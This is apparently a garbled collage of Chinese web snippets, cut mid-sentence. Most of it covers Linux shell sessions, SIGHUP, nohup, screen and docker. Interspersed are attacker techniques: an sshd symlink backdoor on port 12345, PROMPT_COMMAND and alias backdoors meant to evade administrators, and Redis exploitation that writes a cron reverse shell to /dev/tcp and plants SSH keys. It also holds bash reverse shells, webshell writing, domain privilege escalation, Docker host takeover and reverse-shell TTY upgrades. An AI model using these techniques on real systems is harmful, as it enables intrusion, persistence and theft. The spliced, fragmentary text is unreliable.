$nohup python manage.py runserver & 使用时注意: 在当shell中提示了nohup成功后,还需要按终端上键盘任意键退回到shell输入命令窗口,然后通过在shell中输入...exit来退出终端;如果在nohup执行成功后直接点关闭程序按钮关闭终端的话,这时候会断掉该命令所对应的session,导致nohup对应的进程被通知需要一起shutdown,起不到关掉终端后调用程序继续后台运行的作用...思考 问题1-为什么ssh一关闭,程序就不再运行了 元凶:SIGHUP 信号 让我们来看看为什么关掉窗口/断开连接会使得正在运行的程序死掉。...SIGHUP信号退出,会导致该会话期内其他进程退出。...简而言之:就是ssh 打开以后,bash等都是他的子程序,一旦ssh关闭,系统将所有相关进程杀掉!!
当你在一行的中间输入一些文字,比如 asdffwefs,屏幕会乱掉,这些文字会覆盖后面的内容,直到你按下 Esc 退出编辑才会正常。...由于 SIGTERM 是可以被程序自己处理的信号,所以 bash 收到之后决定忽略,sleep 收到之后会退出。...回到 ssh 的那个问题,我们现在合理的猜测是:ssh 在获取远程的 shell 的时候,会先将当前自己所在的 shell disable isig,这样子,Ctrl+C 这个行为将会以字符发送给 ssh...第二次查看是在执行 ssh 登录之后,isig 变成关闭状态了。如果 ssh 退出,isig 又会变成开启的状态。...然后在 ssh (当前的前台程序是 sleep 9999)按下 Ctrl+C。这时候 ssh 直接退出了,我们回到了 local shell,而不是结束 ssh 中的 sleep。
这种情况下,如果用户直接关闭ssh终端的窗口(用鼠标或快捷键),则java进程也会退出。而如果先ctrl-c终止test.sh进程,然后再关闭ssh终端的话,则java进程不会退出。...ssh终端窗口会导致java进程退出?...我们的推测是ssh窗口在关闭时,对当前交互的shell以及正在运行的test.sh等子进程发送某个退出的Signal,找了一台装有systemtap的机器来验证,所用的stap脚本是从涧泉同学那里copy...回到tomcat的例子,catalina.sh脚本通过start参数启动的时候,就是以非交互方式后台启动,java进程也被shell设置了忽略SIGINT信号,因此在ctrl-c结束test.sh进程时...把SIGHUP传递给bash进程后,bash会把SIGHUP传递给它的子进程,并且对于其子进程test.sh,bash还会对test.sh的进程组里的成员都传播一遍SIGHUP。
bash ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345 连接命令 ssh root@192.168.92.128 -p 12345 ssh server...启动/usr/bin/sshd, 这是原始sshd, 原始的sshd监听端口建立了tcp连接后, 会fork一个子进程处理具体工作。...源端口, 如果是19526就执行sh给个shell 其中x00x00LF是19526的大端形式, 便于传输和处理, 如果想修改源端口, 可以用python的struct标准库实现 ssh key 生成一个公钥...dir.py">/dev/null 2>&1&)&& sleep 2&&rm -f dir.py 后门开启之后会开启一个正向shell, 我们只要nc连接端口即可获得shell 开启一个体验更好的虚拟终端...: python -c "import pty;pty.spawn('/bin/bash')" PROMPT_COMMAND 后门 Linux Bash Shell提供了一个环境变量PROMPT_COMMAND
也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。...所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。...使用screen -wipe命令清除该会话: 5.6 关闭或杀死窗口 正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。...如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。...除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。
在Linux中: 打开terminal,也就是终端程序,之后可以获得一个shell 通过ssh连接到linux的ssh-server 服务器,也可以获得一个shell 通常我们都是通过以上两种方式来获得一个...大家都知道,此时我们启动了一个程序 ping ,并且创建了一个进程,我们再开一个终端ssh连接这个服务器看一下 ?...我们使用 1788的shell来执行 ping www.baidu.com & 之后exit退出ssh连接 ? ?...从这里可以看到,虽然我们把ssh连接退出了,但是后台进行依旧在这个session上执行,还属于这个会话,所以如果session存在还在执行的后台进程,即使关闭终端或者断开ssh等远程连接,session...当一个终端关闭或者ssh等远程连接退出的时候,系统会向session管理的所有进程发送一个SIGHUP信号,这个信号就是挂断的意思,效果就是进程中断,理论上问题5中 ping www.baidu.com
如果有人完全使用鼠标来复制整个文本而不是 Ctrl+A,你会怎么想? Linux 终端也不例外。这里是一些每个用户必须直到并练习的 Linux 终端快捷键。...必须知道的 Linux 快捷键 我想提一下一些快捷键可能依赖于你使用的 Shell。Bash 是最受欢迎的 shell,所以列出的快捷键集中在 Bash。...Ctrl + D 这对键盘快捷键将使你退出当前终端。如果你使用 SSH 连接,它将会关闭。如果你直接使用一个终端,该应用将会立刻关闭。 把它当成“退出”命令。 5....假设你在终端输入了一个很长的命令或路径,并且你想要回到它的开头, 使用方向键移动光标将花费大量时间。注意你无法使用鼠标移动光标到行首。 这是 Ctrl+A 节省时间的地方。 7....你可以反复按该键来返回到历史命令。在很多终端里,使用 PgUp 键来实现相同的功能。 13. Ctrl + N 你可以结合 Ctrl+P 使用该快捷键。Ctrl+N 显示下一个命令。
执行安装文件 bash Anaconda3-2019.07-Linux-x86_64.sh 3....重启shell(或者直接输入bash指令),即可使用anaconda3,输入conda指令即可。...指令实现本地端口转发: ssh -L8008:localhost:8888 利用MobaxTerm建立隧道连接虚拟环境中的notebook 1.点击Tools,点击Network下的MobaSSHTunnel...,会输出乱码 【问题原因】 cmd默认的编码是gbk(代码页:936),而python console 里面的编码是utf-8(代码页:65001),由于编码不一致,所以输出时会出现乱码 【解决办法】...2.如何正常退出screen? 在screen中输入exit指令即可。 3.当screen状态为Attached时,如何重新登入该screen?
tomcat启动之后,当前shell进程并没有退出,而是挂住在tail进程,往终端输出日志内容。这种情况下: 1)、如果我先直接关掉ssh窗口后,Java进程会退出,服务不可用。...2)、而我如果先 用ctrl-c终止test.sh进程,然后再关闭ssh终端的话,这时Java进程不会退出。服务没有受到影响,仍然可用。...ssh终端窗口会导致java进程退出?...在非交互模式下,shell对java进程设置了SIGINT,SIGQUIT信号设置了忽略,但并没有对SIGHUP信号设为忽略,回头看上面说的,直接关闭ssh终端窗口时,sshd向下游进程发送SIGHUP...传递给bash进程后,bash会把SIGHUP传递给它的子进程,并且对于其子进程test.sh,bash还会对test.sh的进程组里的成员都传播一遍SIGHUP。
ctrl+D docker exec -it [name/id] /bin/bash # 或者,attach退出使用ctrl+p ctrl+q docker attach [name/id] # docker...# docker exec在容器内会起一个新的进程,docker attach 只会把标准输出输入连接到容器内的PID1 # Attach就像投屏,如果你从两个终端attach到一个container...# 用attach方式进到container,当从终端退出来的时候,container是会被关闭的。...# exec是不会这样的,不同终端连接到不同的tty,退出终端的时候不会关闭container的main process. # 启动未在运行的container docker start [name/id...进入容器,设置root密码 passwd root 之后就可以直接ssh远程连接进容器了 如果ssh连接容器后没办法使用python等环境, vim ~/.bashrc # 然后添加下面三行到文件中
这种方式会使用Bash的non-interactive + non-login shell模式,会创建一个shell,执行完脚本之后便退出,不再需要与用户交互。...假设我们运行时出现找不到动态链接库的问题: ssh://oldpan@176.32.12.18:22/home/oldpan/anaconda3/envs/pytorch/bin/python -u /...如果有指定文件,那么Shell会先去加载这个文件里面的内容,然后再开始执行Shell脚本。...而bash_profile是在我们通过SSH登录后再执行的命令和脚本,这种方式会使用Bash的interactive + login shell模式,这里面有两个概念需要解释:interactive和login...通常来说如bash script.sh此类执行脚本的命令就会启动一个non-interactive shell,它不需要与用户进行交互,执行完后它便会退出创建的Shell。
通常情况下我们都是为每一个这样的任务开一个远程终端窗口,但必须等待它们执行完毕,并且在此期间不能关掉窗口或者断开连接,否则这个任务就会被杀掉,一切半途而废了。...shell,一般都会是bash。...所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入screen的世界了。...使用screen -wipe命令清除该会话: 关闭或杀死窗口 正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。...除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。 需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。
04 漏洞利用 因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的 ?...弹到kali上 当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来 ?...这条命令的意思是启动一个image ID 为69593048aa3a的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下 启动之后就会获得该容器宿主机的shell ?...再回到远程主机上来 使用echo指令将公钥写进去 ? 直接远程连接 ssh -i id_rsa root@127.0.0.1 ? 登陆成功。...警告信息没了 再试试连接下 ? 可以了 ? 06 修复方法 设置ACL,只允许信任的IP端口连接对应端口 开启TLS,使用生成的证书进行认证
有java,c/c++,c#,php,JavaScript,perl,object-c,python,ruby,erlang等客户端,使用方便。...,实现反弹shell #此处的ip为攻击机ip,后面跟上接收反弹shell的端口 set myshell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.148...;cat id_rsa.pub;echo -e "\n\n")>1.txt (6).在攻击机将1.txt内容带入靶机redis服务器 此处因为redis6版本的保护模块,无法直接写入,所以我们先在靶机上以关闭保护模式的方式启动...config set dbfilename authorized_keys save exit #退出之后,攻击机进入/root/.ssh/目录 #然后即可使用ssh直接登录,不需要输入密码,此处-i...然后,添加好新的公钥之后,按照上述步骤重 新加上immutable位权限 注:chattr设置文件的隐藏属性(+i 让一个文件“不能被删除、改名,设置连接也无法写入或添加据)。
映射到当前的 Shell,然后你在本机窗口输入的命令,就会传入容器 --name 容器名称,如果不设置会随机分配一个名字 --shm-size 容器共享内存大小设置。...-p 暴漏容器的端口到本机的端口上,例如用于ssh连接容器时需要将容器的22端口暴露到主机的端口上(比如3721),则可以设置 -p 3721:22 [image_name, image_tag]...此种方法启动的终端,即使退出也不会关闭容器 相反 - 如果直接通过端口映射连接 docker 建立的ssh链接,窗口退出后该终端的工作也会一同停止 进入容器的主终端 docker attach...[containerID] 连接到容器的主终端,该终端退出后容器关闭。...如果不希望退出后关闭,可以加入选项 --sig-proxy=false 退出终端 ctrl p + ctrl q 可以在退出终端的同时保持终端继续工作 退出容器 exit 在容器中运行此命令
/bash_login 【用户级】 如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile 如果两个文件都存在的话,Bash 将会优先执行...~/.bash_profile 而不是~/.bash_login ~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件 参考 https://www.cnblogs.com...可以看到我们之前提交的数据,同时呢,这个文件返回的内容也比较多,只要改一个好点的名字可能会让安全管理人员认为是正常的文件 这种后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门...ls 别名 劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls='ls --color=auto' 在用户退出ssh的时候才会反弹shell(这个我表示不理解,好像情况也不是很统一...你看,我还像模像样的写了两行注释,伪装一下 ,记得把之前的 ~/.bash_aliases 删除掉 ? 此时,我们推出 ssh 连接,之后再次连接,我们测试一下: ?
Redis 未授权访问 redis-cli -h 192.168.52.10 测试成功,发现存在redis未授权漏洞 现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。...在提权之前,我们先对系统信息收集一下 深度信息收集 在tmp目录上传信息收集脚本,对机器进行信息收集 反弹shell 反弹到入口机的shell bash -c 'exec bash -i &>/dev/.../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami 写入webshell 尝试过多种下载木马,发现无法下载回到本地,现在的想法是写webshell再来上传...psexec也无法反弹shell回来,现在我们尝试使用域控的一些漏洞 Sam-the-admin域内提权 proxychains python3 sam_the_admin.py "whoamianony...3389 proxychains rdesktop 192.168.93.40 (注:这里kail无法直接连接域控的,因为kail无法与kdc进行身份校验,所以只能通过域控中的机器进行远程过去) 上去之后把
作为一名渗透测试人员,最令人激动的莫过于netcat为我们反弹回了一个shell连接,以及通过id命令查看到一个令人满意的用户权限。...但凡事总有意外,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了 “Ctrl-C”键,这将直接终止我们的整个shell...除了没有正确处理SIGINT(信号)之外,这些“哑”shell还有其它诸多缺点: 一些命令如su和ssh,需要一个正确的终端才能运行 通常不显示STDERR 无法正常使用vim等文本编辑器 没有完成标签...一旦bash在PTY中运行,我们按Ctrl-Z键将shell调至后台运行 ? 现在我们来检查当前终端和STTY信息,所以我们可以强制连接到shell并匹配: ?...reset命令进入到netcat shell中后,shell会正常显示。最后一步是设置shell,终端类型和stty大小来匹配我们当前的Kali窗口(上面收集的信息)。